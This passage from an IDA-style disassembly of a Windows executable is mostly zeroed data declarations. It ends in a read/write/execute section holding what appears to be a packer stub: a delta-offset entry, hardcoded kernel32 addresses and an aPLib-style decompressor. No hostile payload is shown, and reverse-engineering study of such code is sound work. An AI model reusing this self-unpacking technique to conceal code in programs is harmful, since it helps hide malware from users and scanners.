dword_43A440	dd 0			; DATA XREF: sub_4089D6:loc_408EBCw
					; sub_409663:loc_409713r
dword_43A444	dd 0			; DATA XREF: sub_4089D6+4E1w
					; sub_409663+B8r
dword_43A448	dd 0			; DATA XREF: sub_4089D6:loc_40918Dw
					; sub_409663:loc_409747r
dword_43A44C	dd 0			; DATA XREF: sub_4089D6+7B2w
					; sub_409663+ECr
dword_43A450	dd 0			; DATA XREF: sub_4089D6:loc_409278w
					; sub_4089D6+8D1w ...
dword_43A454	dd 0			; DATA XREF: sub_4089D6+8CCw
					; sub_409663+120r
dword_43A458	dd 0			; DATA XREF: sub_4089D6:loc_40930Cw
					; sub_409663:loc_4097AFr ...
dword_43A45C	dd 0			; DATA XREF: sub_4089D6+931w
					; sub_409663+154r
dword_43A460	dd 0			; DATA XREF: sub_4089D6:loc_409417w
					; sub_409663:loc_4097E3r ...
dword_43A464	dd 0			; DATA XREF: sub_4089D6+A3Cw
					; sub_409663+188r
dword_43A468	dd 0			; DATA XREF: sub_4089D6:loc_409461w
					; sub_409663:loc_409817r
dword_43A46C	dd 0			; DATA XREF: sub_4089D6+A86w
					; sub_409663+1BCr
dword_43A470	dd 0			; DATA XREF: sub_4089D6:loc_4094ABw
					; sub_409663:loc_40984Br
dword_43A474	dd 0			; DATA XREF: sub_4089D6+AD0w
					; sub_409663+1F0r
dword_43A478	dd 0			; DATA XREF: sub_4089D6:loc_40951Fw
					; sub_409663:loc_40987Fr
dword_43A47C	dd 0			; DATA XREF: sub_4089D6+B44w
					; sub_409663+224r
dword_43A480	dd 0			; DATA XREF: sub_4089D6:loc_409569w
					; sub_409663:loc_4098B3r
dword_43A484	dd 0			; DATA XREF: sub_4089D6+B8Ew
					; sub_409663+258r
dword_43A488	dd 0			; DATA XREF: sub_4089D6:loc_409607w
					; sub_409663:loc_4098E7r
dword_43A48C	dd 0			; DATA XREF: sub_4089D6+C2Cw
					; sub_409663+28Cr
dword_43A490	dd 0			; DATA XREF: sub_4089D6:loc_409651w
					; sub_409663:loc_40991Br
dword_43A494	dd 0			; DATA XREF: sub_4089D6+C76w
					; sub_409663+2C0r
dword_43A498	dd 81h dup(0)		; DATA XREF: sub_409BEC+6Ao
dword_43A69C	dd 5 dup(0)		; DATA XREF: sub_40A155+32o
dword_43A6B0	dd 0			; DATA XREF: seg000:loc_40A5BEr
					; sub_40A7E1+123w
dword_43A6B4	dd 0			; DATA XREF: seg000:loc_40A59Cw
					; seg000:0040A6C3r ...
dword_43A6B8	dd 0			; DATA XREF: sub_40A5CD+1Ar
					; sub_40A7E1+83o
dword_43A6BC	dd 0			; DATA XREF: seg000:loc_40A5B1r
					; sub_40A7E1+11Bw
dword_43A6C0	dd 0Dh dup(0)		; DATA XREF: seg000:0040A69Fo
					; sub_40A7E1:loc_40A91Eo
dword_43A6F4	dd 0			; DATA XREF: sub_40A7E1+130w
		dd 0
dword_43A6FC	dd 0Eh dup(0)		; DATA XREF: sub_40A996+47o
dword_43A734	dd 1000h dup(0)		; DATA XREF: sub_40B151+1Do
					; sub_40B1F1o ...
dword_43E734	dd 0			; DATA XREF: sub_40B151+13o
					; sub_40B1F1+Eo ...
dword_43E738	dd 0Eh dup(0)		; DATA XREF: sub_40C1FC+Fo
dword_43E770	dd 2 dup(0)		; DATA XREF: seg000:0040C646o
dword_43E778	dd 0			; DATA XREF: sub_40B059+Ao
					; sub_40B059+44r ...
		dd 5 dup(0)
dword_43E790	dd 0			; DATA XREF: sub_40B059+60r
					; seg000:0040DA01r
		dd 2D9h	dup(0)
dword_43F2F8	dd 0			; DATA XREF: sub_40776F+A5r
					; sub_40B059+2Do ...
		dd 7Fh dup(0)
dword_43F4F8	dd 0			; DATA XREF: sub_414F79+41w
					; sub_4150B4+40w ...
dword_43F4FC	dd 0			; DATA XREF: sub_40776F:loc_4077B6r
					; sub_40776F+7Cr ...
dword_43F500	dd 0			; DATA XREF: sub_40A7E1+164w
					; sub_414F79+52w ...
dword_43F504	dd 0			; DATA XREF: seg000:004025BCw
					; seg000:00405B85w ...
dword_43F508	dd 0			; DATA XREF: seg000:00407E88w
					; seg000:00407FA4r ...
dword_43F50C	dd 0			; DATA XREF: seg000:0040737Cw
					; seg000:004075A8w ...
byte_43F510	db 0			; DATA XREF: sub_40CB59+91o
					; seg000:00410062r ...
		align 4
		dd 188Fh dup(0)
dword_445750	dd 8C26h dup(0)		; DATA XREF: seg002:off_4268E0o
dword_4687E8	dd 0			; DATA XREF: sub_407119:loc_407187r
					; seg000:0040C6ADw ...
		dd 22h dup(0)
dword_468874	dd 3Ah dup(0)		; DATA XREF: seg000:0040D756o
dword_46895C	dd 0			; DATA XREF: sub_40CB59+72r
					; seg000:0040D0AFr
byte_468960	db 0			; DATA XREF: sub_40CCC1+28r
					; sub_40CCC1+30o
		align 4
dword_468964	dd 0			; DATA XREF: seg000:004028DCo
dword_468968	dd 0			; DATA XREF: seg000:00412B3Bw
dword_46896C	dd 0			; DATA XREF: seg000:0040D6FAr
dword_468970	dd 17h dup(0)		; DATA XREF: sub_412EF6:loc_413013o
					; sub_412EF6+131o ...
dword_4689CC	dd 7 dup(0)		; DATA XREF: sub_413C8F+7Co
					; sub_413C8F+A5o
dword_4689E8	dd 0			; DATA XREF: sub_4151C1+16o
					; sub_4151E0+19o
dword_4689EC	dd 78h dup(0)		; DATA XREF: sub_415174+3Do
dword_468BCC	dd 0			; DATA XREF: sub_413270+45w
					; sub_413270+4Dr ...
dword_468BD0	dd 17h dup(0)		; DATA XREF: sub_413B5B:loc_413C7Do
					; sub_413B5B+12Do
dword_468C2C	dd 80h dup(0)		; DATA XREF: sub_4131B1+4Bo
					; sub_4131B1+7Do ...
byte_468E2C	db 0			; DATA XREF: sub_413270+29r
					; sub_413270+34w
		align 10h
dword_468E30	dd 80h dup(0)		; DATA XREF: sub_4134C7+61o
					; sub_4134C7+88o ...
dword_469030	dd 81h dup(0)		; DATA XREF: sub_412DCD+33o
					; sub_412DCD+50o ...
dword_469234	dd 81h dup(0)		; DATA XREF: sub_414482+8Do
byte_469438	db 0			; DATA XREF: sub_414E72+6Ar
					; sub_414E72+98w
		align 4
		dd 2 dup(0)
dword_469444	dd 0			; DATA XREF: sub_415F1B+Aw
dword_469448	dd 0			; DATA XREF: seg000:loc_416B12r
					; seg000:00416B58w
		align 10h
word_469450	dw 0			; DATA XREF: seg000:00416B09r
					; seg000:00416B4Eo
word_469452	dw 0			; DATA XREF: seg000:loc_416AFCr
		db 2 dup(0)
word_469456	dw 0			; DATA XREF: seg000:00416AEFr
word_469458	dw 0			; DATA XREF: seg000:00416AE2r
word_46945A	dw 0			; DATA XREF: seg000:00416AD5r
		align 10h
dword_469460	dd 0			; DATA XREF: sub_416C78+3Br
					; sub_416C78+91w
dword_469464	dd 0			; DATA XREF: sub_416861+1B9w
					; sub_416E1E:loc_416E9Aw ...
dword_469468	dd 0			; DATA XREF: sub_4176E9+35w
					; sub_4185AB:loc_418645w ...
dword_46946C	dd 0			; DATA XREF: sub_41D53A+13Ar
dword_469470	dd 0			; DATA XREF: seg000:00417B2Aw
dword_469474	dd 0			; DATA XREF: seg000:00417B21w
dword_469478	dd 0			; DATA XREF: seg000:00417B16w
dword_46947C	dd 0			; DATA XREF: seg000:00417B08w
dword_469480	dd 0			; DATA XREF: seg000:0041C944w
dword_469484	dd 0			; DATA XREF: seg000:0041C93Cw
		dd 0
dword_46948C	dd 0			; DATA XREF: seg000:0041C83Ew
					; sub_41F3E9+9r ...
dword_469490	dd 0			; DATA XREF: seg000:0041FAD8r
dword_469494	dd 0			; DATA XREF: sub_41F3E9+16r
					; sub_41F7B7+4r ...
		dd 0
dword_46949C	dd 0			; DATA XREF: seg000:0041C8E1w
		dd 0
byte_4694A4	db 0			; DATA XREF: sub_417829+2Dw
					; sub_41D15B+5r
		align 4
dword_4694A8	dd 0			; DATA XREF: sub_417829+27w
dword_4694AC	dd 0			; DATA XREF: sub_417829+4r
					; sub_417829+8Bw
dword_4694B0	dd 0			; DATA XREF: seg000:loc_41C80Cr
					; seg000:loc_41C84Er ...
		align 8
dword_4694B8	dd 0			; DATA XREF: sub_417BCEr sub_417BF3r ...
dword_4694BC	dd 0			; DATA XREF: sub_418796+37r
		dd 0
dword_4694C4	dd 0			; DATA XREF: sub_415DA9r
					; sub_4174BF:loc_4175BBr ...
dword_4694C8	dd 0			; DATA XREF: sub_418A48r
dword_4694CC	dd 0			; DATA XREF: sub_419FF6+11r
					; sub_41A0FA+1Ar ...
byte_4694D0	db 0			; DATA XREF: sub_419FF6+3r
					; sub_419FF6+98r ...
		align 4
dword_4694D4	dd 0			; DATA XREF: sub_41A0FA+11r
					; sub_41A1D8+21w ...
byte_4694D8	db 0			; DATA XREF: sub_41A1D8+51w
		align 4
dword_4694DC	dd 0			; DATA XREF: sub_41A3CE+4Er
					; sub_41A7A9+3Ar ...
dword_4694E0	dd 0			; DATA XREF: sub_41A3CE+5Cr
					; sub_41A7A9+43r ...
dword_4694E4	dd 0			; DATA XREF: sub_4161A2+7Ar
					; sub_41A575+5r
dword_4694E8	dd 0			; DATA XREF: sub_41AB7C+29r
dword_4694EC	dd 0			; DATA XREF: seg000:0041BD79r
					; seg000:0041BD9Dw ...
		dd 2 dup(0)
dword_4694F8	dd 0			; DATA XREF: sub_417173+4r
					; sub_417173+9Dr ...
		dd 3 dup(0)
dword_469508	dd 0			; DATA XREF: sub_4179D9+61r
					; sub_4179D9+BFr ...
		align 10h
dword_469510	dd 0			; DATA XREF: sub_41BFA0:loc_41C11Br
					; sub_41C139+4w ...
dword_469514	dd 0			; DATA XREF: seg000:0041C658r
					; seg000:0041C664w ...
dword_469518	dd 41h dup(0)		; DATA XREF: seg000:loc_41C8CAo
dword_46961C	dd 0			; DATA XREF: seg000:0041CB02r
					; seg000:0041CB23w ...
dword_469620	dd 0			; DATA XREF: sub_41CEC0+21r
dword_469624	dd 0			; DATA XREF: sub_418796:loc_4187BFw
					; sub_418860+154w ...
dword_469628	dd 0			; DATA XREF: seg000:0041D1FDr
					; seg000:loc_41D241w
dword_46962C	dd 0			; DATA XREF: sub_418860+7r
word_469630	dw 0			; DATA XREF: sub_41DDBF+1Ao
					; sub_41DDBF+46r
byte_469632	db 0			; DATA XREF: sub_41DDBF+39r
		align 4
dword_469634	dd 7 dup(0)		; DATA XREF: sub_41DDBF+52o
dword_469650	dd 0			; DATA XREF: sub_41DDBF+40w
					; sub_41DDBF+5Co
dword_469654	dd 0			; DATA XREF: sub_41DDBF+4Dw
dword_469658	dd 0			; DATA XREF: sub_41DDBF+31w
dword_46965C	dd 0			; DATA XREF: sub_41DDBF+52w
dword_469660	dd 0			; DATA XREF: seg000:0041DF05r
					; seg000:0041DF1Ar ...
		align 8
dword_469668	dd 0			; DATA XREF: seg000:0041E153w
					; seg000:0041E1A5w ...
		align 10h
dword_469670	dd 0			; DATA XREF: seg000:0041E175o
					; seg000:0041E188r
dword_469674	dd 10h dup(0)		; DATA XREF: seg000:0041E203o
word_4696B4	dw 0			; DATA XREF: sub_41E3A0+A8r
word_4696B6	dw 0			; DATA XREF: seg000:0041E196r
					; sub_41E3A0+DBr ...
word_4696B8	dw 0			; DATA XREF: sub_41E3A0+CAr
word_4696BA	dw 0			; DATA XREF: sub_41E3A0+D3r
					; sub_41E3A0:loc_41E492r
word_4696BC	dw 0			; DATA XREF: sub_41E3A0+C0r
word_4696BE	dw 0			; DATA XREF: sub_41E3A0+B8r
word_4696C0	dw 0			; DATA XREF: sub_41E3A0+B0r
word_4696C2	dw 0			; DATA XREF: sub_41E3A0+9Er
dword_4696C4	dd 0			; DATA XREF: seg000:0041E18Dr
dword_4696C8	dd 10h dup(0)		; DATA XREF: seg000:0041E23Do
word_469708	dw 0			; DATA XREF: sub_41E3A0+46r
word_46970A	dw 0			; DATA XREF: seg000:loc_41E1B9r
					; sub_41E3A0+78r ...
word_46970C	dw 0			; DATA XREF: sub_41E3A0+67r
word_46970E	dw 0			; DATA XREF: sub_41E3A0+70r
					; sub_41E3A0:loc_41E424r
word_469710	dw 0			; DATA XREF: sub_41E3A0+5Dr
word_469712	dw 0			; DATA XREF: sub_41E3A0+55r
word_469714	dw 0			; DATA XREF: sub_41E3A0+4Dr
word_469716	dw 0			; DATA XREF: sub_41E3A0+3Er
dword_469718	dd 0			; DATA XREF: seg000:0041E1C2r
dword_46971C	dd 0			; DATA XREF: seg000:0041E274r
					; seg000:loc_41E28Er ...
dword_469720	dd 0			; DATA XREF: sub_41E12Dr sub_41E12D+Ew
dword_469724	dd 0			; DATA XREF: sub_41E6CE+3r
					; sub_41E6CE+2Ew ...
dword_469728	dd 0			; DATA XREF: sub_41E6CE+43w
					; sub_41E6CE:loc_41E71Dr
dword_46972C	dd 0			; DATA XREF: sub_41E6CE+4Aw
					; sub_41E6CE+60r
dword_469730	dd 0			; DATA XREF: sub_41D53A+3Fr
dword_469734	dd 0			; DATA XREF: sub_41F277:loc_41F2DEr
					; sub_41F277+6Do
dword_469738	dd 0			; DATA XREF: sub_41F277:loc_41F2B5r
					; sub_41F277+44o
dword_46973C	dd 0			; DATA XREF: sub_41F277:loc_41F2A8r
					; sub_41F277+37o
dword_469740	dd 0			; DATA XREF: sub_41F277:loc_41F2C2r
					; sub_41F277+51o
		align 8
dword_469748	dd 0			; DATA XREF: sub_41F825+28r
					; sub_41F825+48w ...
byte_46974C	db 0			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_469750	dd 0			; DATA XREF: sub_418729:loc_41873Ar
					; sub_4189D0+14r ...
		align 10h
dword_469760	dd 400h	dup(0)		; DATA XREF: seg002:off_438438o
					; seg002:00438440o
dword_46A760	dd 0			; DATA XREF: sub_418729+9r
					; sub_418729+56r ...
		dd 7 dup(0)
dword_46A780	dd 0			; DATA XREF: sub_417C17+B1r
					; sub_41B890+75r ...
dword_46A784	dd 3Fh dup(0)		; DATA XREF: seg000:0041CCC4o
dword_46A880	dd 0			; DATA XREF: sub_4185AB+8r
					; sub_41B969+Cr ...
dword_46A884	dd 0			; DATA XREF: sub_41BFA0+14r
					; sub_41BFA0+65w ...
		align 10h
dword_46A890	dd 3 dup(0)		; DATA XREF: sub_41BFA0+123o
					; sub_41BFA0+171o ...
dword_46A89C	dd 0			; DATA XREF: sub_41BFA0+108w
					; sub_41BFA0+15Dw ...
byte_46A8A0	db 0			; DATA XREF: sub_41C1DF:loc_41C2EBw
					; sub_41C1DF:loc_41C308w ...
		align 4
		dd 3Fh dup(0)
byte_46A9A0	db 0			; DATA XREF: sub_41BFA0+5Co
					; sub_41BFA0+AFo ...
byte_46A9A1	db 0			; DATA XREF: sub_417328+5Dr
					; sub_41BFA0+A0w ...
		align 4
		dd 40h dup(0)
dword_46AAA4	dd 0			; DATA XREF: sub_41BFA0+6Ew
					; sub_41BFA0+12Bw ...
dword_46AAA8	dd 0			; DATA XREF: sub_418A9F+32w
					; sub_41913C+5r ...
dword_46AAAC	dd 0			; DATA XREF: sub_418B08+239r
					; sub_418B08+259r ...
dword_46AAB0	dd 0			; DATA XREF: sub_418A9F+2Dw
					; sub_418B08+310w ...
dword_46AAB4	dd 0			; DATA XREF: sub_418A9F:loc_418ABCw
					; sub_418B08+22Cr ...
dword_46AAB8	dd 0			; DATA XREF: sub_418A9F+24w
					; sub_418ADDr ...
dword_46AABC	dd 0			; DATA XREF: sub_418A9F+15w
					; sub_418ADD+8r ...
dword_46AAC0	dd 0			; DATA XREF: sub_415DE7+28r
					; sub_415E1D+21r ...
dword_46AAC4	dd 0			; DATA XREF: seg000:0041C7B1r
dword_46AAC8	dd 0			; DATA XREF: seg000:0041C8A7w
					; sub_41F3E9r
dword_46AACC	dd 0			; DATA XREF: sub_41C364r
					; sub_41C364+11w ...
dword_46AAD0	dd 0			; DATA XREF: sub_4167B3+13r
					; sub_4167B3:loc_4167F5r ...
dword_46AAD4	dd 0			; DATA XREF: sub_4167B3+1r
					; sub_4167B3+Cr ...
byte_46AAD8	db 0			; DATA XREF: sub_4200A4+15r
					; sub_4200A4+1Ew
		align 800h
seg002		ends

; Section 4. (virtual address 0006B000)
; Virtual size			: 00025000 ( 151552.)
; Section size in file		: 00025000 ( 151552.)
; Offset to raw	data for section: 0006B000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 46B000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		db 90h
		db 60h,	0E8h, 3
		dd 0E9000000h, 455D04EBh, 1E8C355h, 0EB000000h,	0FFEDBB5Dh
		dd 0DD03FFFFh, 0B000EB81h, 7D800006h, 0C75014Dh, 2824748Bh
		dd 8901FE83h, 31754E5Dh, 5053458Dh, 0E9B5FF53h,	8D000009h
		dd 0E9503545h, 82h, 3B0000h, 44000h, 77E79E34h,	3F2000h
		dd 77E805D8h, 77E79F93h, 0
		dd 0C0F8B800h, 505023A5h, 5B4E4503h, 1C74C085h,	81E801EBh
		dd 0A5C0F8FBh, 33357423h, 6A56D2h, 4E75FF56h, 835ED0FFh
		dd 247500FEh, 458BD233h, 74C08541h, 0FF525207h,	0D0FF3575h
		dd 8535458Bh, 680D74C0h, 8000h,	75FF006Ah, 3D55FF35h, 61DB0B5Bh
		dd 16A0675h, 0CC258h, 0D8F7C033h, 0C240C01Bh, 0DF80000Ch
		dd 7E8FDh, 0C0430000h, 0EC9F3EF9h, 16D181B5h, 5E746150h
		dd 0C681DA8Bh, 88Ah, 0FCB838B3h, 8B000001h, 89F7813Eh
		dd 8A551D9Eh, 8EF781D0h, 0E92AE06Eh, 12h, 49501302h, 57C6F4Eh
		dd 81688B5Ah, 0BD146726h, 0F78103B2h, 331286AFh, 57CAB70Fh
		dd 0D6D18166h, 81068F02h, 0BD73F3EBh, 1EE8352h,	4E4EDC8Ah
		dd 0CE94Eh, 9D740000h, 99E0E312h, 550C3F5Eh, 0E8835B6Ah
		dd 11850F01h, 0B9000000h, 3A0AEA0Dh, 17E9h, 910D300h, 0C53C2F0Eh
		dd 0E9CBB70Fh, 0FFFFFF87h, 1FBE7940h, 3BCA356Ch, 128A0F57h
		dd 0E8000000h, 0Ch, 73E2ADC4h, 0CF2EA930h, 0EB3A655Ch
		dd 12E85959h, 92000000h, 0DE196063h, 0EAD58CBFh, 0B65178DBh
		dd 428D24B7h, 0C2815A53h, 7CFh,	54DE8166h, 68DB2B6Ah, 2AC5D7C0h
		dd 1334FF5Eh, 3144A268h, 0C981664Eh, 585FEC1Ch,	8E0Fh
		dd 0F0810000h, 75F0994h, 8E9h, 9ED92000h, 0AA954C7Fh, 3DE8819Bh
		dd 5114DA5Ch, 0B78D49B9h, 0C0815931h, 3D420C32h, 8150F78Bh
		dd 548B14D1h, 1A048F22h, 13E8h,	75AC5F00h, 0F1987B0Ah
		dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh, 5EF2B70Fh,	8104EB83h
		dd 0FFF8F0FBh, 1A850FFFh, 66000000h, 86AC181h, 21E9h, 36D1F800h
		dd 0C20DA437h, 0E0910D3h, 1AC53C2Fh, 0FF6FE94Bh, 7DD4FFFFh
		dd 7940C372h, 356C1FBEh, 0BB663BCAh, 12E81024h,	42000000h
		dd 8E899053h, 9A45BCAFh, 66C1A8CBh, 0F2FD54A7h,	0F98B6643h
		dd 31B9665Eh, 2C681C2h,	81000007h, 81A4A2C9h, 19CB844h
		dd 66510000h, 0FF59CA8Bh, 6820F36h, 81000000h, 38DBD9CBh
		dd 840F5A3Eh, 16h, 9FB19B68h, 0BE963h, 0E4770000h, 5013024Dh
		dd 7C6F4E49h, 0EA815F05h, 0F65F963h, 0F5805350h, 815F59FEh
		dd 0F98960EAh, 19EA8125h, 0B3535AEEh, 8116892Dh, 5E02C8E1h
		dd 1EE8332h, 0A1809D68h, 4E4E5F56h, 0A136BB4Eh,	0F487EADh
		dd 0FFFF9A85h, 0D18166FFh, 0CE818D6h, 44000000h, 0B0F3622Dh
		dd 0DC4FAE29h, 806BBAE5h, 805BE3E6h, 0C3810CF5h, 663h
		dd 37D78166h, 17168EDh,	0FF5E0000h, 0CAB70F33h,	0C9816658h
		dd 0E8812172h, 6A5CA667h, 1E857968h, 5FF48A72h,	6C14C081h
		dd 0BE95ED0h, 17000000h, 0B322ED04h, 0F6EE970h,	0E881A59Ch
		dd 0B244CBDh, 89FBB70Fh, 8E803h, 59A00000h, 15CCFF1Eh
		dd 0BE91B2Ah, 0F7000000h, 9382CD64h, 0EFCEC9D0h, 835985FCh
		dd 816602EBh, 4B9032C9h, 7EBA664Bh, 850F4E7Dh, 0FFFFFF93h
		dd 0BE953h, 0C4D70000h,	3073E2ADh, 5CCF2EA9h, 0F98B5F65h
		dd 0DE8h, 67268100h, 3B2BD14h, 5FFEB980h, 986875ACh, 0F45CCACh
		dd 28Fh, 5FDE8B00h, 81C4B15Eh, 5B8C6h, 0EA12BF00h, 49B83518h
		dd 0B7000001h, 0E8168BE6h, 6, 0DA43736h, 0B70FD3C2h, 0EA8159DBh
		dd 5C8BCE4Dh, 44D4BB66h, 7D02F281h, 81661CF0h, 819D79C3h
		dd 80613F2h, 5266B14Ah,	68F98B1h, 0EE83FA8Bh, 0DA8B6604h
		dd 1E881h, 850F0000h, 0Ah, 1CE9h, 0FF1E5900h, 0D98115CCh
		dd 4B78C4F6h, 0FFFFA4E9h, 82CD64FFh, 0CEC9D093h, 0DA85FCEFh
		dd 0E80Bh, 5B5D0000h, 5B5B5D89h, 585F5D89h, 4098589h, 80580000h
		dd 75015A7Dh, 21858959h, 60000004h, 5033458Dh, 0FF64C033h
		dd 20896430h, 0E4E8C38Bh, 0EB000002h, 24648B1Ch, 8F676408h
		dd 83000006h, 8D6104C4h, 0FF506345h, 0DEE85F55h, 0EB000002h
		dd 8F676409h, 83000006h, 1BEB24C4h, 46B04800h, 0E79F9300h
		dd 72656B77h, 336C656Eh, 6C642E32h, 9CE8006Ch, 0FC000002h
		dd 8CB58Dh, 0BAD0000h, 8B1B74C0h, 0CB9F8h, 0A4F30000h
		dd 100010EBh, 3200040h,	11193243h, 0F62200ABh, 0A589D7ADh
		dd 425h, 68406Ah, 0FF000010h, 404B5h, 0FF006A00h, 3F095h
		dd 0CC858900h, 8B000001h, 3FC9Dh, 99D0300h, 50000004h
		dd 104E853h, 406A0000h,	100068h, 4B5FF00h, 6A000004h, 0F095FF00h
		dd 89000003h, 42D85h, 0D0858900h, 64000001h, 0A167h, 4298589h
		dd 558B0000h, 0D0858B5Bh, 89000001h, 4858B02h, 89000004h
		dd 858D0442h, 39Fh, 8955408Bh, 858B0842h, 3ECh,	8B104289h
		dd 3E885h, 14428900h, 1CC958Bh,	0F8BB0000h, 8B000001h
		dd 0B0C1A7Ch, 8B1E74FFh, 0B101A4Ch, 31174C9h, 1D0BDh, 1A748B00h
		dd 0C1F20314h, 0A5F302F9h, 0EB28C383h, 0CC858BDAh, 50000001h
		dd 1D0958Bh, 8B520000h,	8BDA0318h, 3E485h, 8B038900h, 3E885h
		dd 4438900h, 3EC858Bh, 43890000h, 8B5E5F08h, 0C7030446h
		dd 1C78589h, 558B0000h,	0C7858B5Bh, 89000001h, 9D8D0C42h
		dd 409h, 6A006A53h, 57016A00h, 3085E8Bh, 6853DFh, 6A000080h
		dd 95FF5600h, 3F4h, 3F200068h, 0C300h, 36h
; ---------------------------------------------------------------------------
		cmp	eax, [eax]
		push	ebp
		mov	ebp, esp
		pusha
		push	ebp
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		cld
		mov	dl, 80h


loc_46B624:				; CODE XREF: .data:loc_46B633j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi


loc_46B62A:				; CODE XREF: .data:0046B688j
					; .data:0046B6CDj ...
		add	dl, dl
		jnz	short loc_46B633
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B633:				; CODE XREF: .data:0046B62Cj
		jnb	short loc_46B624
		add	dl, dl
		jnz	short loc_46B63E
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B63E:				; CODE XREF: .data:0046B637j
		jnb	short loc_46B68A
		xor	eax, eax
		add	dl, dl
		jnz	short loc_46B64B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B64B:				; CODE XREF: .data:0046B644j
		jnb	loc_46B727
		add	dl, dl
		jnz	short loc_46B65A
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B65A:				; CODE XREF: .data:0046B653j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B665
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B665:				; CODE XREF: .data:0046B65Ej
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B670
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B670:				; CODE XREF: .data:0046B669j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B67B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B67B:				; CODE XREF: .data:0046B674j
		adc	eax, eax
		jz	short loc_46B685
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_46B685:				; CODE XREF: .data:0046B67Dj
		mov	[edi], al
		inc	edi
		jmp	short loc_46B62A
; ---------------------------------------------------------------------------


loc_46B68A:				; CODE XREF: .data:loc_46B63Ej
		mov	eax, 1


loc_46B68F:				; CODE XREF: .data:loc_46B6A3j
		add	dl, dl
		jnz	short loc_46B698
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B698:				; CODE XREF: .data:0046B691j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_46B6A3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6A3:				; CODE XREF: .data:0046B69Cj
		jb	short loc_46B68F
		sub	eax, 2
		jnz	short loc_46B6D2
		mov	ecx, 1


loc_46B6AF:				; CODE XREF: .data:loc_46B6C3j
		add	dl, dl
		jnz	short loc_46B6B8
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6B8:				; CODE XREF: .data:0046B6B1j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B6C3
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6C3:				; CODE XREF: .data:0046B6BCj
		jb	short loc_46B6AF
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_46B62A
; ---------------------------------------------------------------------------


loc_46B6D2:				; CODE XREF: .data:0046B6A8j
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_46B6E0:				; CODE XREF: .data:loc_46B6F4j
		add	dl, dl
		jnz	short loc_46B6E9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6E9:				; CODE XREF: .data:0046B6E2j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_46B6F4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_46B6F4:				; CODE XREF: .data:0046B6EDj
		jb	short loc_46B6E0
		cmp	eax, 7D00h
		jnb	short loc_46B717
		cmp	eax, 500h
		jb	short loc_46B712
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B62A
; ---------------------------------------------------------------------------


loc_46B712:				; CODE XREF: .data:0046B702j
		cmp	eax, 7Fh
		ja	short loc_46B71A


loc_46B717:				; CODE XREF: .data:0046B6FBj
		add	ecx, 2


loc_46B71A:				; CODE XREF: .data:0046B715j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B62A
; ---------------------------------------------------------------------------


loc_46B727:				; CODE XREF: .data:loc_46B64Bj
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_46B743
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_46B62A
; ---------------------------------------------------------------------------


loc_46B743:				; CODE XREF: .data:0046B72Fj
		pop	ebp
		sub	edi, [ebp+0Ch]
		mov	[ebp-4], edi
		popa
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		db 40h
		dd 8B77E821h, 25242444h, 0FFFF0000h, 1000005h, 2D00h, 81660001h
		dd 755A4D38h, 858960F4h, 3F8h, 0D88BD08Bh, 33C4003h, 9D897858h
		dd 30Dh, 3CC9D8Dh, 0BD8D0000h, 3E4h, 0B589338Bh, 37Ch
		dd 0BE8h, 0C383AB00h, 3B8304h, 0C361EA75h, 0D9D8B60h, 8B000003h
		dd 0CA03204Bh, 0F203318Bh, 2FE8h, 75CEBF00h, 0C73B49CDh
		dd 0C1830574h, 2BE9EB04h, 0CA2B204Bh, 4B03E9D1h, 0FCA0324h
		dd 0E1C109B7h, 1C4B0302h, 98BCA03h, 4C89CA03h, 0C3611C24h
		dd 248EBA52h, 0AAC9C3Bh, 321474C0h, 0D108B0D0h,	810673EAh
		dd 0A7F39AF2h, 75C8FEC1h, 92E7EBF2h, 51A7C35Ah,	3BF0B725h
		dd 257A749h, 32139019h,	75CE74EEh, 49CDh, 0A5FD0000h, 9F9377E7h
		dd 5D877E7h, 980A77E8h,	9E3477E7h, 77E7h, 0BB1877E6h, 0E1F50006h
		dd 40000001h, 4, 2 dup(4000h), 2 dup(0)
		dd 8000000h, 221h, 0A4000000h, 0E00012FFh, 12FFh, 3B00h
		dd 10h,	300001F4h, 0F4h, 210h, 8300001Ch, 14h, 230h, 9400015Ch
		dd 70h,	50h dup(0)
		dd 2000h, 8, 6 dup(0)
		dd 77E7A5FDh, 77E79F93h, 77E805D8h, 2 dup(0)
